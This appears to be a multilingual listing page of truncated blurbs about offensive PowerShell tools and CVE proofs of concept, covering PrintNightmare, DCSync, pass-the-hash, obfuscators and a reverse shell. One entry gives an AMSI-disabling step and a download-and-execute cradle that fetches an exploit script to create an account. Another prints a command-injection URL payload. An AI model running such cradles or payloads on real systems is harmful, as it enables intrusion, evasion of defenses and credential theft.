ABC

ABC CVE-2017-11882 Invoke-Mimikatz https://goo.gl/urb92R Calc.exe https://goo.gl/qTqqE4...

cve-2021-1675

cve-2021-1675 disabilita amsi: copia in powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt esegui invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' crea account...

CVE-2025-54100

CVE-2025-54100 Il curl di PowerShell utilizza Invoke-WebRequest internamente. root@kitploit: PS C:\Users\melih curl cmdlet Invoke-WebRequest at command pipeline position 1 Supply values for the following parameters: Uri:...

Invoke-DCSync

Invoke-DCSync Invoke-DCSync Riferimento: https://adsecurity.org/?p=1729 Riferimento: https://silentbreaksecurity.com/invoke-dcsync-because-we-all-wanted-it/ Obiettivo: recuperare gli hash delle password di tutti gli account utente su un controller di dominio utilizzando la funzione DCSync di...

Invoke-TheHash

Invoke-TheHash Invoke-TheHash contém funções PowerShell para realizar tarefas de pass the hash WMI e SMB. As conexões WMI e SMB são acessadas através do .NET TCPClient. A autenticação é realizada passando um hash NTLM para o protocolo de autenticação NTLMv2. Privilégio de administrador local não ...

Empire

Invoke-Obfuscation v1.8 Introduzione Invoke-Obfuscation è un offuscatore di comandi e script PowerShell compatibile con PowerShell v2.0+. Background Nell'autunno del 2015 ho deciso di iniziare a ricercare la flessibilità del linguaggio di PowerShell e ho iniziato a catalogare i vari modi per...

Invoke-ArgFuscator

░█░█▄░█░█▒█░▄▀▄░█▄▀▒██▀░▒░ ▄▀▄▒█▀▄░▄▀▒▒█▀░█▒█░▄▀▀░▄▀▀▒▄▀▄░▀█▀░▄▀▄▒█▀▄░ ░█░█▒▀█░▀▄▀░▀▄▀░█▒█░█▄▄░▀▀░█▀█░█▀▄░▀▄█░█▀░▀▄█▒▄██░▀▄▄░█▀█░▒█▒░▀▄▀░█▀▄░ Invoke-ArgFuscator O Invoke-ArgFuscator é um módulo PowerShell de código aberto e multiplataforma que ajuda a gerar linhas de comando ofuscadas para...

CVE-2025-54100

CVE-2025-54100 – PoC di Analisi della Risposta di PowerShell Un Proof-of-Concept conciso che mostra come CVE-2025-54100 possa portare a Esecuzione di Codice Remoto RCE in Windows PowerShell 5.1 attraverso il parsing HTML dannoso. Sommario Cos'è CVE-2025-54100? Come Funziona il PoC Avvio Rapido...

Nim_DInvoke

Nim DInvoke Implementação de D/Invoke em Nim Todos os binários Nim normalmente expõem as mesmas 58-60 funções da API do Windows: Todas as outras funções da API do Windows normalmente são resolvidas em tempo de execução via GetProcAddress e LoadLibraryA, como mencionado em OffensiveNim ou neste po...

CVE-2022-22916

CVE-2022-22916 CVE-2022-22916, O2OA RCE Esecuzione Remota di Comandi O2OA RCE Esecuzione Remota di Comandi CVE-2022-22916 O2OA è una soluzione open-source licenza AGPL per sistemi informativi aziendali, basata su architettura J2EE distribuita, con supporto per ufficio mobile e intelligente,...

CVE-2025-54100

CVE-2025-54100 – PoC di analisi della risposta PowerShell Dimostrazione di come CVE-2025-54100 possa causare esecuzione remota di codice RCE in Windows PowerShell 5.1 tramite l'analisi di HTML malevolo. Cos'è CVE-2025-54100? Tipo di vulnerabilità: Rischio di injection di comandi quando...

CVE-2020-14883

http://myq-x.remore:8090/index.php?m=WebServiceMgmt::invoke&p="d":"\\m\":"Wsf\\\\Win\\\\Firewall::delete\","\\p\":"----\\\"|ipconfig+/allC:\\\\Windows\\\\system32\\\\spool\\\\drivers\\\\1.txt||----","\\id\":"1","\\pwd\":"","s":"b75c29ef4a5a3d600d96732b3c5cbed1"...

invoke-antivm

Invoke-AntiVM v1.0 Einleitung Invoke-AntiVM ist eine Sammlung von Modulen zur VM-Erkennung und Fingerabdruck-Erstellung mit Exfiltration über Powershell. Kompatibilität Führen Sie das Skript check-compatibility.ps1 aus, um zu überprüfen, welche Module oder Funktionen mit Ihrer PowerShell-Version...

Invoke-Obfuscation

Invoke-Obfuscation v1.8 Introduzione Invoke-Obfuscation è un comando PowerShell compatibile con PowerShell v2.0+ e un offuscatore di script. Contesto Nell'autunno del 2015 ho deciso di iniziare a ricercare la flessibilità del linguaggio PowerShell e ho catalogato i vari modi per realizzare una...

powershell-reverse-tcp

PowerShell Reverse TCP Script PowerShell per comunicare con un host remoto. L'host remoto avrà il pieno controllo sul client e su tutti i comandi di sistema sottostanti. Controlla le shell basate su: comando PowerShell Invoke-Expression qui, pipe di processo qui. Testato con PowerShell...

Invoke-CradleCrafter

Invoke-CradleCrafter v1.1 Introduzione Invoke-CradleCrafter è un generatore e offuscatore di cradle per download remoti di PowerShell compatibile con PowerShell v2.0+. Contesto Nell'autunno del 2016, dopo aver rilasciato Invoke-Obfuscation, ho continuato ad aggiornare il mio foglio di calcolo dei...

Invoke-Stealth

Invoke-Stealth è un semplice e potente offuscatore di script PowerShell. Questo strumento ti aiuta ad automatizzare il processo di offuscamento di qualsiasi script scritto in PowerShell con diverse tecniche. Puoi usarle singolarmente, insieme o tutte in sequenza con facilità, da Windows o Linux...

Invoke-HiveNightmare

Invoke-HiveNightmare PoC basato su PowerShell per CVE-2021-36934, che consente a un utente standard di recuperare gli hive del Registro di sistema SAM, Security e Software in Windows 10 versione 1809 o successiva. Situazione Nelle versioni specifiche di Windows 10, gli utenti standard hanno dirit...

Invoke-ADEnum

Invoke-ADEnum Active Directory Auditing and Enumeration Invoke-ADEnum is an auditing and enumeration tool designed to automate the collection of information from an Active Directory environment. One of the features of Invoke-ADEnum is its ability to generate an Active Directory Audit Report in HT...

Invoke-EDRChecker

Invoke-EDRChecker Das Skript überprüft laufende Prozesse, Prozessmetadaten, in den aktuellen Prozess geladene DLLs sowie die Metadaten jeder DLL, gängige Installationsverzeichnisse, installierte Dienste, die Registry und laufende Treiber auf das Vorhandensein bekannter Schutzprodukte wie AVs, EDR...